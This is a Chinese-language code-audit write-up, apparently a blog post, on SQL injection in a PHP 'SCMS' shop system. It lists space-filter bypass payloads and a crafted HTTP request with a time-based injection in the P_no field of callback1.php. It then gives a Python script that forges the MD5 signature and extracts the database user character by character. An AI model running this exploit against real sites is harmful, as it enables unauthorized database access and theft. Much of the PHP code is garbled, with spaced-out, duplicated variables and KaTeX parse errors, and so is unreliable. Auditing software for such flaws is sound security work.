1.在buy.php。69到71 行
s q l = " s e l e c t ∗ f r o m S L p r o d u c t w h e r e P i d = " . sql="select * from SL_product where P_id=". sql="select∗fromSLproductwherePid=".P_id;
r e s u l t = m y s q l i q u e r y ( result = mysqli_query( result=mysqliquery(conn, $sql);
r o w = m y s q l i f e t c h a s s o c ( row = mysqli_fetch_assoc( row=mysqlifetchassoc(result);
常规的查询语句,追踪$P_id
P i d = u r l e n c o d e ( P_id=urlencode( Pid=urlencode(_REQUEST[“P_id”]);
urlencode()函数原理就是首先把中文字符转换为十六进制,然后在每个字符前面加一个标识符%,对字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。
也就是说字母数字不会改变,而空格会被转义为+号。我不清楚+号是否会被当成空格解析
我百度了,空格被过滤的绕过方法:
- select//user()//from/**/dual
- select(user())from dual where(1=1)and(2=2)
- http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
发现+mysql中不能解析成空格,也就是这个urlencode函数把注入查询语句给限制了。
暂时审不了这个文件了。
2.在callback1.php文件中
s q l = " s e l e c t ∗ f r o m S L l i s t w h e r e L n o l i k e ′ " . sql="select * from SL_list where L_no like '". sql="select∗fromSLlistwhereLnolike′".P_no."’";
r e s u l t = m y s q l i q u e r y ( result = mysqli_query( result=mysqliquery(conn, $sql);
r o w = m y s q l i f e t c h a s s o c ( row = mysqli_fetch_assoc( row=mysqlifetchassoc(result);
一样常规的sql语句,追踪$P_no
$P_no = $obj->P_no;
$json_string=file_get_contents(“php://input”);
o b j = j s o n d e c o d e ( obj=json_decode( obj=jsondecode(json_string);
百度了解到:
- 用file_get_contents(“php://input”)可以接收xml数据
- json_encode() 对变量进行JSON编码,
json格式:{“a”:“xiyouji”,“b”:“sanguo”,“c”:“shuihu”,“d”:“hongloumeng”}
也就是这个变量通过{“P_no”:“xx”}进行传值。
当然实现sql语句执行还需要一个前提条件:
if(strtolower(MD5(“P_address=”.KaTeX parse error: Expected 'EOF', got '&' at position 12: P_address."&̲P_attach=".P_attach."&P_city=".KaTeX parse error: Expected 'EOF', got '&' at position 9: P_city."&̲P_country=".P_country."&P_email=".KaTeX parse error: Expected 'EOF', got '&' at position 10: P_email."&̲P_mobile=".P_mobile."&P_money=".KaTeX parse error: Expected 'EOF', got '&' at position 10: P_money."&̲P_name=".P_name."&P_no=".KaTeX parse error: Expected 'EOF', got '&' at position 7: P_no."&̲P_num=".P_num."&P_postcode=".KaTeX parse error: Expected 'EOF', got '&' at position 13: P_postcode."&̲P_price=".P_price."&P_province=".KaTeX parse error: Expected 'EOF', got '&' at position 13: P_province."&̲P_qq=".P_qq."&P_remarks=".KaTeX parse error: Expected 'EOF', got '&' at position 12: P_remarks."&̲P_state=".P_state."&P_time=".KaTeX parse error: Expected 'EOF', got '&' at position 9: P_time."&̲P_title=".P_title."&P_type=".KaTeX parse error: Expected 'EOF', got '&' at position 9: P_type."&̲P_url=".P_url."&pkey=". P K E Y ) ) = = s t r t o l o w e r ( PKEY))==strtolower( PKEY))==strtolower(sign))
strtolower() 函数把字符串转换为小写。
也就是左边的MD5等于右边的变量的值,
也就是$sign=md5(左边)
到这里基本逻辑清晰了
在if条件符合下,以json格式提交各参数的值,在$P_no处可构造如:1’ and sleep(5)#
ps:提交一次没注入的正常值
第二次提交如果出现success并延迟5秒才出现说明利用成功
GET /scms/1.com.php/bank/callback1.php HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost:8088/scms/1.com.php/bank/
Cookie: authorization=fail; authorization4=1MHwwfHMxMXxzMTA0fHM5NHxzOTV8czk5fHM5Nnx3MXw%3D; PHPSESSID=5ebmbk6sahvingk2kik6ik3b47; CmsCode=rplp
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Content-Length: 526
{
“P_address”:“aaa”,
“P_attach”:“111”,
“P_city”:“aaa”,
“P_country”:“aaa”,
“P_email”:“aaa”,
“P_mobile”:“aaa”,
“P_money”:“22222”,
“P_name”:“aaaaa”,
“P_no”:“1’ and sleep(5)#”,
“P_num”:“aaa”,
“P_postcode”:“aaaa”,
“P_price”:“aaaaaa”,
“P_province”:“aaaa”,
“P_qq”:“11111”,
“P_remarks”:“22222”,
“P_state”:“3333”,
“P_time”:“4444”,
“P_title”:“55555”,
“P_type”:“666”,
“P_url”:“7777”,
“sign”:“9f264a61fd8498352628f51738493b39”
}```
五秒后出现出现:9f264a61fd8498352628f51738493b39success
到这里漏洞证明存在,是延时注入,手工利用起来很麻烦,参考一个大佬的脚本改改。
import hashlib
import requests
import time
import sys
def md5(value):
m= hashlib.md5()
m.update(value)
return m.hexdigest()
def gen_data(P_no):
value="P_address=aaa&P_attach=111&P_city=aaa&P_country=aaa&P_email=aaa&P_mobile=aaa&P_money=22222&P_name=aaaaa&P_no=%s&P_num=aaa&P_postcode=aaaa&P_price=aaaaaa&P_province=aaaa&P_qq=11111&P_remarks=22222&P_state=3333&P_time=4444&P_title=55555&P_type=666&P_url=7777&pkey=" %P_no
data={
"P_address":"aaa",
"P_attach":"111",
"P_city":"aaa",
"P_country":"aaa",
"P_email":"aaa",
"P_mobile":"aaa",
"P_money":"22222",
"P_name":"aaaaa",
"P_no":P_no,
"P_num":"aaa",
"P_postcode":"aaaa",
"P_price":"aaaaaa",
"P_province":"aaaa",
"P_qq":"11111",
"P_remarks":"22222",
"P_state":"3333",
"P_time":"4444",
"P_title":"55555",
"P_type":"666",
"P_url":"7777",
"sign":md5(value)
}
return data
def veriy():
#url=sys.argv[1]+'/bank/callback1.php'
url='http://localhost:8088/scms/1.com.php/bank/callback1.php'
current_time=time.time()
#r1=requests.post(url=url,data=json.dumps(gen_data("1")),headers = {'Content-Type': 'application/json'})
r=requests.post(url=url,data=json.dumps(gen_data("1' and sleep(5)#")),headers = {'Content-Type': 'application/json'})
if time.time()-current_time>5 and 'success' in r.content:
print '[*] vulunerbal'
return True
if veriy():
user=''
for x in xrange(1,30):
#url=sys.argv[1]+'/bank/callback1.php'
url='http://localhost:8088/scms/1.com.php/bank/callback1.php'
current_time=time.time()
r=requests.post(url=url,data=json.dumps(gen_data("1' and if(length(user())=%s,sleep(5),1)#" %x)),headers = {'Content-Type': 'application/json'})
if time.time()-current_time>5 and 'success' in r.content:
print '[*] user() length: %s' %x
for y in range(1,x+1):
for z in xrange(33,122):
current_time=time.time()
r=requests.post(url=url,data=json.dumps(gen_data("1' and if(ascii(substring(user(),%s,1))=%s,sleep(5),1)#" %(y,z))),headers = {'Content-Type': 'application/json'})
if time.time()-current_time>5 and 'success' in r.content:
print chr(z)
user+=chr(z)
print '[*]user():',user```
·
·